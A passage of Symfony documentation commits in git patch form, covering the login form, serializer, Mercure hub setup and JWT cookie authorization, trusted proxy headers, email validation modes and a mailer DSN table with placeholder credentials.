 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 3ce7c0e9bcd..1e6a5ab98e2 100644
--- a/security.rst
+++ b/security.rst
@@ -847,7 +847,7 @@ The form can look like anything, but it usually follows some conventions:
     :ref:`form_login-csrf` on how to protect your login form.
 
 And that's it! When you submit the form, the security system automatically
-reads the ``_username`` and ``_email`` POST parameter, loads the user via
+reads the ``_username`` and ``_password`` POST parameter, loads the user via
 the user provider, checks the user's credentials and either authenticates the
 user or sends them back to the login form where the error can be displayed.
 

From 08599e89de71c6a40d2fab5c1a7293d2f4e759a8 Mon Sep 17 00:00:00 2001
From: Ivan Nemets <79963574+ivannemets-sravniru@users.noreply.github.com>
Date: Thu, 14 Oct 2021 13:56:59 +0300
Subject: [PATCH 2588/7107] Update serializer.rst

---
 components/serializer.rst | 20 ++++++++++++++------
 1 file changed, 14 insertions(+), 6 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index ac29ee47deb..e87e9eafdbd 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1181,15 +1181,23 @@ PHP 7.4 introduced typed properties, which have a new state - ``uninitialized``.
 This is different from the default ``null`` of untyped properties.
 When you try to access it before giving it an explicit value - you get an error.
 
-To avoid serializer throwing an error when serializing or normalizing an object with
-uninitialized properties - then you can set ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` to ``true``.
+By default, to avoid the Serializer throwing an error when serializing or normalizing an object with
+uninitialized properties, object normalizer catches these errors and ignores such properties.
+
+You can disable this behavior by setting the ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option to ``false``::
+
+    class Dummy {
+        public string $foo = 'initialized';
+        public string $bar; // uninitialized
+    }
+
+    $normalizer = new ObjectNormalizer();
+    $result = $normalizer->normalize(new Dummy(), 'json', [AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES => false]);
+    // throws Symfony\Component\PropertyAccess\Exception\UninitializedPropertyException as normalizer cannot read uninitialized properties
 
 .. note::
 
-    Error is thrown only if you inject a ``ClassMetadataFactory`` into the normalizer.
-    Otherwise the properties are checked with reflection and uninitialized ones are skipped.
-    This option is useful when, for example, you want to serialize subset of properties by serialization groups,
-    which requires the ``ClassMetadataFactory``
+    Calling ``PropertyNormalizer::normalize`` or ``GetSetMethodNormalizer::normalize`` with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option set to ``false`` will throw an ``\Error`` instance if the given object has uninitialized properties as the normalizer cannot read them (directly or via getter/isser methods).
 
 .. versionadded:: 5.4
 

From 6644f4cd8408b5c5a4d754b906c3cf5f4bf7122e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Wed, 13 Oct 2021 16:29:43 +0200
Subject: [PATCH 2589/7107] [Mercure] sync docs with the last version of
 Mercure

---
 mercure.rst              | 314 ++++++++++++++++++++-------------------
 setup/symfony_server.rst |   2 +
 2 files changed, 166 insertions(+), 150 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 9a3a45068d2..72ce65145e5 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -35,10 +35,6 @@ thanks to a specific HTTP header).
 
 All these features are supported in the Symfony integration.
 
-Unlike WebSocket, which is only compatible with HTTP 1.x,
-Mercure leverages the multiplexing capabilities provided by HTTP/2
-and HTTP/3 (but also supports older versions of HTTP).
-
 `In this recording`_ you can see how a Symfony web API leverages Mercure
 and API Platform to update in live a React app and a mobile app (React Native)
 generated using the API Platform client generator.
@@ -46,16 +42,6 @@ generated using the API Platform client generator.
 Installation
 ------------
 
-Installing the Symfony Component
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the Mercure support before using it:
-
-.. code-block:: terminal
-
-    $ composer require mercure
-
 Running a Mercure Hub
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -66,20 +52,38 @@ clients.
 
 .. image:: /_images/mercure/schema.png
 
-If you use the :doc:`Symfony Local Web Server </setup/symfony_server>` or `Symfony Docker`_,
-a Mercure Hub is automatically available.
-
-For production usage, an official and open source (AGPL) Hub based on the Caddy web server
+An official and open source (AGPL) Hub based on the Caddy web server
 can be downloaded as a static binary from `Mercure.rocks`_.
-Alternatively to the binary, a Docker image, a Helm chart for Kubernetes
+A Docker image, a Helm chart for Kubernetes
 and a managed, High Availability Hub are also provided.
 
-.. tip::
+If you use `Symfony Docker`_ or the `API Platform distribution`_,
+a Mercure Hub is automatically installed and your Symfony application
+is automatically configured to use it.
+You can jump directly to the next section.
+
+If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`,
+a Mercure hub will be automatically available as a Docker service thanks to its :ref:`Docker integration <symfony-server-docker>.
+
+Be sure that recent versions of Docker and Docker Compose are properly installed on your computer
+and to start the Symfony Local Web Server with the ``--no-tls`` option:
+
+.. code-block:: terminal
+
+    $ symfony server:start --no-tls -d
+
+Installing the Symfony Bundle
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Run this command to install the Mercure support before using it:
+
+.. code-block:: terminal
+
+    $ composer require mercure
 
-    The `API Platform distribution`_ comes with a Docker Compose configuration
-    as well as a Helm chart for Kubernetes that are 100% compatible with Symfony,
-    and contain a build of the Caddy web server including a Mercure hub.
-    You can copy them in your project, even if you don't use API Platform.
+:ref:`Symfony Flex <symfony-flex>` has automatically installed and configured MercureBundle.
+It also created (if needed) and configured a Docker Compose definition that provides a Mercure service.
+Run ``docker-compose up`` to start it.
 
 Configuration
 -------------
@@ -90,9 +94,8 @@ The preferred way to configure the MercureBundle is using
 When MercureBundle has been installed, the ``.env`` file of your project
 has been updated by the Flex recipe to include the available env vars.
 
-If you use the Symfony Local Web Server or Symfony Docker,
-the default values are compatible with the provided Hub
-and you can skip straight to the next section.
+If you use the Symfony Local Web Server, Symfony Docker or the API Platform distribution,
+the Symfony app is automatically configured and you can skip straight to the next section.
 
 Otherwise, set the URL of your hub as the value of the ``MERCURE_URL``
 and ``MERCURE_PUBLIC_URL`` env vars.
@@ -139,6 +142,49 @@ public updates (see the authorization_ section for further information).
 
     Also, be sure to keep both the secret key and the JWTs... secrets!
 
+If you don't want to use the provided environment variables,
+use the following configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mercure.yaml
+        mercure:
+            hubs:
+                default:
+                    url: https://mercure-hub.example.com/.well-known/mercure
+                    jwt:
+                        secret: '!ChangeMe!'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mercure.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <config>
+            <hub
+                name="default"
+                url="https://mercure-hub.example.com/.well-known/mercure"
+            >
+                <jwt secret="!ChangeMe!"/>
+            </hub>
+        </config>
+
+    .. code-block:: php
+
+        // config/packages/mercure.php
+        $container->loadFromExtension('mercure', [
+            'hubs' => [
+                'default' => [
+                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
+                    'jwt' => [
+                        'secret' => '!ChangeMe!',
+                    ],
+                ],
+            ],
+        ]);
+
+
 Basic Usage
 -----------
 
@@ -166,7 +212,7 @@ service, including controllers::
         public function publish(HubInterface $hub): Response
         {
             $update = new Update(
-                'http://example.com/books/1',
+                'https://example.com/books/1',
                 json_encode(['status' => 'OutOfStock'])
             );
 
@@ -193,34 +239,53 @@ Atom, HTML or XML is recommended.
 Subscribing
 ~~~~~~~~~~~
 
-Subscribing to updates in JavaScript is straightforward:
+Subscribing to updates in JavaScript from a Twig template is straightforward:
 
-.. code-block:: javascript
+.. code-block:: twig
 
-    const eventSource = new EventSource('/.well-known/mercure?topic=' + encodeURIComponent('http://example.com/books/1'));
+    <script>
+    const eventSource = new EventSource("{{ mercure('https://example.com/books/1')|escape('js') }}");
     eventSource.onmessage = event => {
         // Will be called every time an update is published by the server
         console.log(JSON.parse(event.data));
     }
+    <script>
+
+The ``mercure()`` Twig function will generate the URL of the Mercure hub according to the configuration.
+The URL will include the ``topic`` query parameters corresponding to the topics passed as first argument.
+
+If you want to access to this URL from an external JavaScript file, generate the URL in a dedicated HTML element:
+
+.. code:: twig
+
+    <script type="application/json" id="mercure-url">{{ mercure('https://example.com/books/1')|json_encode(constant('JSON_UNESCAPED_SLASHES') b-or constant('JSON_HEX_TAG'))|raw }}</script>
+
+Then retrieve it from your JS file:
+
+.. code:: javascript
+
+    const url = JSON.parse(document.getElementById("mercure-url").textContent);
+    const eventSource = new EventSource(url);
+    // ...
 
-Mercure also allows to subscribe to several topics,
+Mercure also allows subscribing to several topics,
 and to use URI Templates or the special value ``*`` (matched by all topics)
 as patterns:
 
-.. code-block:: javascript
+.. code-block:: twig
 
-    // URL is a built-in JavaScript class to manipulate URLs
-    const url = new URL('/.well-known/mercure', window.origin);
-    url.searchParams.append('topic', 'http://example.com/books/1');
-    // Subscribe to updates of several Book resources
-    url.searchParams.append('topic', 'http://example.com/books/2');
-    // All Review resources will match this pattern
-    url.searchParams.append('topic', 'http://example.com/reviews/{id}');
+    <script>
+    {# Subscribe to updates of several Book resources and to all Review resources matching the given pattern #}
+    const eventSource = new EventSource("{{ mercure([
+        'https://example.com/books/1',
+        'https://example.com/books/2',
+        'https://example.com/reviews/{id}'
+    ])|escape('js') }}");
 
-    const eventSource = new EventSource(url);
     eventSource.onmessage = event => {
         console.log(JSON.parse(event.data));
     }
+    </script>
 
 .. tip::
 
@@ -287,7 +352,7 @@ and to subscribe to it:
 
             // Append the topic(s) to subscribe as query parameter
             const hub = new URL(hubUrl, window.origin);
-            hub.searchParams.append('topic', 'http://example.com/books/{id}');
+            hub.searchParams.append('topic', 'https://example.com/books/{id}');
 
             // Subscribe to updates
             const eventSource = new EventSource(hub);
@@ -297,7 +362,7 @@ and to subscribe to it:
 Authorization
 -------------
 
-Mercure also allows to dispatch updates only to authorized clients.
+Mercure also allows dispatching updates only to authorized clients.
 To do so, mark the update as **private** by setting the third parameter
 of the ``Update`` constructor to ``true``::
 
@@ -313,7 +378,7 @@ of the ``Update`` constructor to ``true``::
         public function publish(HubInterface $hub): Response
         {
             $update = new Update(
-                'http://example.com/books/1',
+                'https://example.com/books/1',
                 json_encode(['status' => 'OutOfStock']),
                 true // private
             );
@@ -332,78 +397,59 @@ a JWT containing a topic selector matching by the update's topic.
 To provide this JWT, the subscriber can use a cookie,
 or a ``Authorization`` HTTP header.
 
-Cookies are automatically sent by the browsers when opening an ``EventSource``
-connection if the ``withCredentials`` attribute is set to ``true``:
+Cookies can be set automatically by Symfony by passing the appropriate options to the ``mercure()`` Twig function.
+Cookies set by Symfony will be automatically passed by the browsers to the Mercure hub
+if the ``withCredentials`` attribute of the ``EventSource`` class is set to ``true``.
+Then, the Hub will verify the validity of the provided JWT, and extract the topic selectors
+from it.
 
-.. code-block:: javascript
+.. code-block:: twig
 
-    const eventSource = new EventSource(hub, {
+    <script>
+    const eventSource = new EventSource("{{ mercure('https://example.com/books/1', { subscribe: 'https://example.com/books/1' })|escape('js') }}", {
         withCredentials: true
     });
+    </script>
+
+The supported options are:
+
+* ``subscribe``:  the list of topic selectors to include in the ``mercure.subscribe`` claim of the JWT
+* ``publish``:  the list of topic selectors to include in the ``mercure.publish`` claim of the JWT
+* ``additionalClaims``: extra claims to include in the JWT (expiration date, token ID...)
 
 Using cookies is the most secure and preferred way when the client is a web
 browser. If the client is not a web browser, then using an authorization header
 is the way to go.
 
+.. caution::
+
+    To use the cookie authentication method, the Symfony app and the Hub
+    must be served from the same domain (can be different sub-domains).
+
 .. tip::
 
     The native implementation of EventSource doesn't allow specifying headers.
     For example, authorization using Bearer token. In order to achieve that, use `a polyfill`_
 
-    .. code-block:: javascript
+    .. code-block:: twig
 
-        const es = new EventSourcePolyfill(url, {
+        <script>
+        const es = new EventSourcePolyfill("{{ mercure('https://example.com/books/1') }}", {
             headers: {
                 'Authorization': 'Bearer ' + token,
             }
         });
+        </script>
 
-In the following example controller,
-the generated cookie contains a JWT, itself containing the appropriate topic selector.
-This cookie will be automatically sent by the web browser when connecting to the Hub.
-Then, the Hub will verify the validity of the provided JWT, and extract the topic selectors
-from it.
-
-Add your JWT secret to the configuration as follow:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/mercure.yaml
-        mercure:
-            hubs:
-                default:
-                    url: https://mercure-hub.example.com/.well-known/mercure
-                    jwt:
-                        secret: '!ChangeMe!'
-
-    .. code-block:: xml
-
-        <!-- config/packages/mercure.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <config>
-            <hub
-                name="default"
-                url="https://mercure-hub.example.com/.well-known/mercure"
-            >
-                <jwt secret="!ChangeMe!"/>
-            </hub>
-        </config>
+Programmatically Setting The Cookie
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    .. code-block:: php
+Sometimes, it can be convenient to set the authorization cookie from
+your code instead of using the Twig function.
+MercureBundle provides a convenient service, :class:`Symfony\\Component\\Mercure\\Authorization`, to do so.
 
-        // config/packages/mercure.php
-        $container->loadFromExtension('mercure', [
-            'hubs' => [
-                'default' => [
-                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
-                    'jwt' => [
-                        'secret' => '!ChangeMe!',
-                    ],
-                ],
-            ],
-        ]);
+In the following example controller,
+the added cookie contains a JWT, itself containing the appropriate topic selector.
 
 And here is the controller::
 
@@ -411,36 +457,25 @@ And here is the controller::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Cookie;
+    use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Mercure\Authorization;
     use Symfony\Component\Mercure\Discovery;
 
     class DiscoverController extends AbstractController
     {
-        public function publish(Request $request, Discovery $discovery, Authorization $authorization): Response
+        public function publish(Request $request, Discovery $discovery, Authorization $authorization): JsonResponse
         {
             $discovery->addLink($request);
+            $authorization->setCookie($request, ['https://example.com/books/1']);
 
-            $response = new JsonResponse([
+            return $this->json([
                 '@id' => '/demo/books/1',
                 'availability' => 'https://schema.org/InStock'
             ]);
-
-            $response->headers->setCookie(
-                $authorization->createCookie($request,  ["http://example.com/books/1"])
-            );
-
-            return $response;
         }
     }
 
-.. caution::
-
-    To use the cookie authentication method, the Symfony app and the Hub
-    must be served from the same domain (can be different sub-domains).
-
 Programmatically Generating The JWT Used to Publish
 ---------------------------------------------------
 
@@ -532,22 +567,16 @@ hypermedia API, and automatic update broadcasting through the Mercure hub::
     use ApiPlatform\Core\Annotation\ApiResource;
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-    * @ApiResource(mercure=true)
-    * @ORM\Entity
-    */
+    #[ApiResource(mercure: true)]
+    #[ORM\Entity]
     class Book
     {
-        /**
-         * @ORM\Id
-         * @ORM\Column
-         */
-        public $name;
-
-        /**
-         * @ORM\Column
-         */
-        public $status;
+        #[ORM\Id]
+        #[ORM\Column]
+        public string $name = '';
+
+        #[ORM\Column]
+        public string $status = '';
     }
 
 As showcased `in this recording`_, the API Platform Client Generator also
@@ -629,34 +658,12 @@ Debugging
 
 Enable the panel in your configuration, as follows:
 
-.. configuration-block::
-
-    .. code-block:: yaml
+MercureBundle is shipped with a debug panel. Install the Debug pack to
+enable it::
 
-        # config/packages/mercure.yaml
-        mercure:
-            enable_profiler: '%kernel.debug%'
-
-    .. code-block:: xml
-
-        <!-- config/packages/mercure.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <mercure:config enable_profiler="%kernel.debug%"/>
-
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/mercure.php
-        $container->loadFromExtension('mercure', [
-            'enable_profiler' => '%kernel.debug%',
-        ]);
+.. code-block:: terminal
 
+    $ composer require --dev symfony/debug-pack
 
 .. image:: /_images/mercure/panel.png
 
@@ -693,7 +700,7 @@ it will be handled automatically::
         public function publish(MessageBusInterface $bus): Response
         {
             $update = new Update(
-                'http://example.com/books/1',
+                'https://example.com/books/1',
                 json_encode(['status' => 'OutOfStock'])
             );
 
@@ -704,6 +711,12 @@ it will be handled automatically::
         }
     }
 
+Going further
+-------------
+
+* The Mercure protocol is also supported by :doc:`the Notifier component </notifier>`. Use it to send push notifications to web browsers.
+* `Symfony UX Turbo`_ is a library using Mercure to provide the same experience as with Single Page Applications but without having to write a single line of JavaScript!
+
 
 .. _`the Mercure protocol`: https://mercure.rocks/spec
 .. _`Server-Sent Events (SSE)`: https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events
@@ -720,3 +733,4 @@ it will be handled automatically::
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/
 .. _`the online debugger`: https://uri-template-tester.mercure.rocks
 .. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket
+.. _`Symfony UX Turbo`: https://github.com/symfony/ux-turbo
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index aa23a26a61e..4ac94fd857f 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -275,6 +275,8 @@ server provides a ``run`` command to wrap them as follows:
     # stop the web server (and all the associated commands) when you are finished
     $ symfony server:stop
 
+.. _symfony-server-docker:
+
 Docker Integration
 ------------------
 

From 4479c32a4eb60e4012b11db1ee34f80cc4fc3c14 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 14 Oct 2021 16:41:32 +0200
Subject: [PATCH 2590/7107] Tweaks

---
 mercure.rst | 65 ++++++++++++++++++++++++++++-------------------------
 1 file changed, 35 insertions(+), 30 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 72ce65145e5..e9d9f163692 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -57,16 +57,17 @@ can be downloaded as a static binary from `Mercure.rocks`_.
 A Docker image, a Helm chart for Kubernetes
 and a managed, High Availability Hub are also provided.
 
-If you use `Symfony Docker`_ or the `API Platform distribution`_,
-a Mercure Hub is automatically installed and your Symfony application
-is automatically configured to use it.
-You can jump directly to the next section.
+If you use `Symfony Docker`_ or the `API Platform distribution`_, a Mercure Hub
+is automatically installed and your Symfony application is automatically
+configured to use it. You can jump directly to the next section.
 
 If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`,
-a Mercure hub will be automatically available as a Docker service thanks to its :ref:`Docker integration <symfony-server-docker>.
+a Mercure hub will be automatically available as a Docker service thanks to its
+:ref:`Docker integration <symfony-server-docker>.
 
-Be sure that recent versions of Docker and Docker Compose are properly installed on your computer
-and to start the Symfony Local Web Server with the ``--no-tls`` option:
+Be sure that recent versions of Docker and Docker Compose are properly installed
+on your computer and to start the Symfony Local Web Server with the ``--no-tls``
+option:
 
 .. code-block:: terminal
 
@@ -81,9 +82,9 @@ Run this command to install the Mercure support before using it:
 
     $ composer require mercure
 
-:ref:`Symfony Flex <symfony-flex>` has automatically installed and configured MercureBundle.
-It also created (if needed) and configured a Docker Compose definition that provides a Mercure service.
-Run ``docker-compose up`` to start it.
+:ref:`Symfony Flex <symfony-flex>` has automatically installed and configured
+MercureBundle. It also created (if needed) and configured a Docker Compose
+definition that provides a Mercure service. Run ``docker-compose up`` to start it.
 
 Configuration
 -------------
@@ -94,8 +95,9 @@ The preferred way to configure the MercureBundle is using
 When MercureBundle has been installed, the ``.env`` file of your project
 has been updated by the Flex recipe to include the available env vars.
 
-If you use the Symfony Local Web Server, Symfony Docker or the API Platform distribution,
-the Symfony app is automatically configured and you can skip straight to the next section.
+If you use the Symfony Local Web Server, Symfony Docker or the API Platform
+distribution, the Symfony app is automatically configured and you can skip
+straight to the next section.
 
 Otherwise, set the URL of your hub as the value of the ``MERCURE_URL``
 and ``MERCURE_PUBLIC_URL`` env vars.
@@ -251,10 +253,12 @@ Subscribing to updates in JavaScript from a Twig template is straightforward:
     }
     <script>
 
-The ``mercure()`` Twig function will generate the URL of the Mercure hub according to the configuration.
-The URL will include the ``topic`` query parameters corresponding to the topics passed as first argument.
+The ``mercure()`` Twig function will generate the URL of the Mercure hub
+according to the configuration. The URL will include the ``topic`` query
+parameters corresponding to the topics passed as first argument.
 
-If you want to access to this URL from an external JavaScript file, generate the URL in a dedicated HTML element:
+If you want to access to this URL from an external JavaScript file, generate the
+URL in a dedicated HTML element:
 
 .. code:: twig
 
@@ -397,11 +401,11 @@ a JWT containing a topic selector matching by the update's topic.
 To provide this JWT, the subscriber can use a cookie,
 or a ``Authorization`` HTTP header.
 
-Cookies can be set automatically by Symfony by passing the appropriate options to the ``mercure()`` Twig function.
-Cookies set by Symfony will be automatically passed by the browsers to the Mercure hub
-if the ``withCredentials`` attribute of the ``EventSource`` class is set to ``true``.
-Then, the Hub will verify the validity of the provided JWT, and extract the topic selectors
-from it.
+Cookies can be set automatically by Symfony by passing the appropriate options
+to the ``mercure()`` Twig function. Cookies set by Symfony will be automatically
+passed by the browsers to the Mercure hub if the ``withCredentials`` attribute
+of the ``EventSource`` class is set to ``true``. Then, the Hub will verify the
+validity of the provided JWT, and extract the topic selectors from it.
 
 .. code-block:: twig
 
@@ -413,8 +417,8 @@ from it.
 
 The supported options are:
 
-* ``subscribe``:  the list of topic selectors to include in the ``mercure.subscribe`` claim of the JWT
-* ``publish``:  the list of topic selectors to include in the ``mercure.publish`` claim of the JWT
+* ``subscribe``: the list of topic selectors to include in the ``mercure.subscribe`` claim of the JWT
+* ``publish``: the list of topic selectors to include in the ``mercure.publish`` claim of the JWT
 * ``additionalClaims``: extra claims to include in the JWT (expiration date, token ID...)
 
 Using cookies is the most secure and preferred way when the client is a web
@@ -444,12 +448,12 @@ is the way to go.
 Programmatically Setting The Cookie
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Sometimes, it can be convenient to set the authorization cookie from
-your code instead of using the Twig function.
-MercureBundle provides a convenient service, :class:`Symfony\\Component\\Mercure\\Authorization`, to do so.
+Sometimes, it can be convenient to set the authorization cookie from your code
+instead of using the Twig function. MercureBundle provides a convenient service,
+:class:`Symfony\\Component\\Mercure\\Authorization`, to do so.
 
-In the following example controller,
-the added cookie contains a JWT, itself containing the appropriate topic selector.
+In the following example controller, the added cookie contains a JWT, itself
+containing the appropriate topic selector.
 
 And here is the controller::
 
@@ -714,9 +718,10 @@ it will be handled automatically::
 Going further
 -------------
 
-* The Mercure protocol is also supported by :doc:`the Notifier component </notifier>`. Use it to send push notifications to web browsers.
-* `Symfony UX Turbo`_ is a library using Mercure to provide the same experience as with Single Page Applications but without having to write a single line of JavaScript!
-
+* The Mercure protocol is also supported by :doc:`the Notifier component </notifier>`.
+  Use it to send push notifications to web browsers.
+* `Symfony UX Turbo`_ is a library using Mercure to provide the same experience
+  as with Single Page Applications but without having to write a single line of JavaScript!
 
 .. _`the Mercure protocol`: https://mercure.rocks/spec
 .. _`Server-Sent Events (SSE)`: https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events

From c670141b7364605d66fbc8248c974b7351e33370 Mon Sep 17 00:00:00 2001
From: JohJohan <johan.vlaar.1994@gmail.com>
Date: Sun, 10 Oct 2021 20:49:29 +0200
Subject: [PATCH 2591/7107] 14114 [HttpFoundation] header option
 'X-Forwarded-Prefix'

---
 deployment/proxies.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 62d5c182c1e..5b12fb5e946 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -34,7 +34,7 @@ and what headers your reverse proxy uses to send information:
             # the IP address (or range) of your proxy
             trusted_proxies: '192.0.0.1,10.0.0.0/8'
             # trust *all* "X-Forwarded-*" headers
-            trusted_headers: ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port']
+            trusted_headers: ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port', 'x-forwarded-prefix']
             # or, if your proxy instead uses the "Forwarded" header
             trusted_headers: ['forwarded']
 
@@ -59,6 +59,7 @@ and what headers your reverse proxy uses to send information:
                 <framework:trusted-header>x-forwarded-host</framework:trusted-header>
                 <framework:trusted-header>x-forwarded-proto</framework:trusted-header>
                 <framework:trusted-header>x-forwarded-port</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-prefix</framework:trusted-header>
 
                 <!-- or, if your proxy instead uses the "Forwarded" header -->
                 <framework:trusted-header>forwarded</framework:trusted-header>
@@ -75,7 +76,7 @@ and what headers your reverse proxy uses to send information:
                 // the IP address (or range) of your proxy
                 ->trustedProxies('192.0.0.1,10.0.0.0/8')
                 // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
-                ->trustedHeaders(['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port'])
+                ->trustedHeaders(['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port', 'x-forwarded-prefix'])
                 // or, if your proxy instead uses the "Forwarded" header
                 ->trustedHeaders(['forwarded'])
             ;

From 07f4a8f6e0fe2c0b77df2cc64f0ba751134f4cbe Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 26 Sep 2021 14:18:35 +0200
Subject: [PATCH 2592/7107] Shortening "mode"

---
 reference/constraints/Email.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 771c9bcff64..0ac07621537 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -130,17 +130,17 @@ Parameter        Description
 
 **type**: ``string`` **default**: (see below)
 
-This option is optional and defines the pattern used to validate the email
+This option defines the pattern used to validate the email
 address. Valid values are:
 
-* ``loose``, it uses a simple regular expression to validate the address (it
+* ``loose`` uses a simple regular expression (just
   checks that at least one ``@`` character is present, etc.). This validation is
-  too simple and it's recommended to use one of the other modes instead;
-* ``html5``, it validates email addresses using the same regular expression
+  very simple and it's recommended to use one of the other modes instead;
+* ``html5`` uses the same regular expression
   as the `HTML5 email input element`_, making the backend validation consistent
   with the one provided by browsers;
-* ``strict``, it uses the `egulias/email-validator`_ library (which you must
-  install separately) to validate the addresses according to the `RFC 5322`_.
+* ``strict`` uses the `egulias/email-validator`_ library (which you must
+  install separately) for validation according to `RFC 5322`_.
 
 The default value used by this option is set in the
 :ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`

From f6d7e690b41f68ea6414dd07f0b34967edc88ed3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 14 Oct 2021 17:42:24 +0200
Subject: [PATCH 2593/7107] Tweaks

---
 reference/constraints/Email.rst | 16 +++++++---------
 1 file changed, 7 insertions(+), 9 deletions(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 0ac07621537..386b35240ab 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -130,15 +130,13 @@ Parameter        Description
 
 **type**: ``string`` **default**: (see below)
 
-This option defines the pattern used to validate the email
-address. Valid values are:
-
-* ``loose`` uses a simple regular expression (just
-  checks that at least one ``@`` character is present, etc.). This validation is
-  very simple and it's recommended to use one of the other modes instead;
-* ``html5`` uses the same regular expression
-  as the `HTML5 email input element`_, making the backend validation consistent
-  with the one provided by browsers;
+This option defines the pattern used to validate the email address. Valid values are:
+
+* ``loose`` uses a simple regular expression (just checks that at least one ``@``
+  character is present, etc.). This validation is too simple and it's recommended
+  to use one of the other modes instead;
+* ``html5`` uses the same regular expression as the `HTML5 email input element`_,
+  making the backend validation consistent with the one provided by browsers;
 * ``strict`` uses the `egulias/email-validator`_ library (which you must
   install separately) for validation according to `RFC 5322`_.
 

From 5adcbcb6ea65f388e721bd36fb55c4e9335c89d8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 15 Oct 2021 16:12:21 +0200
Subject: [PATCH 2594/7107] Fix RST syntax of some tables

---
 mailer.rst        | 14 +++++++-------
 messenger.rst     |  4 ++--
 page_creation.rst |  4 ++--
 3 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 57c4b5f30ce..807d5739b72 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -144,14 +144,14 @@ This table shows the full list of available DSN formats for each third
 party provider:
 
 ==================== ========================================== =========================================== ========================================
- Provider             SMTP                                       HTTP                                        API
+Provider             SMTP                                       HTTP                                        API
 ==================== ========================================== =========================================== ========================================
- Amazon SES           ses+smtp://USERNAME:PASSWORD@default       ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
- Google Gmail         gmail+smtp://USERNAME:PASSWORD@default     n/a                                         n/a
- Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default  mandrill+https://KEY@default                mandrill+api://KEY@default
- Mailgun              mailgun+smtp://USERNAME:PASSWORD@default   mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
- Postmark             postmark+smtp://ID@default                 n/a                                         postmark+api://KEY@default
- Sendgrid             sendgrid+smtp://KEY@default                n/a                                         sendgrid+api://KEY@default
+Amazon SES           ses+smtp://USERNAME:PASSWORD@default       ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
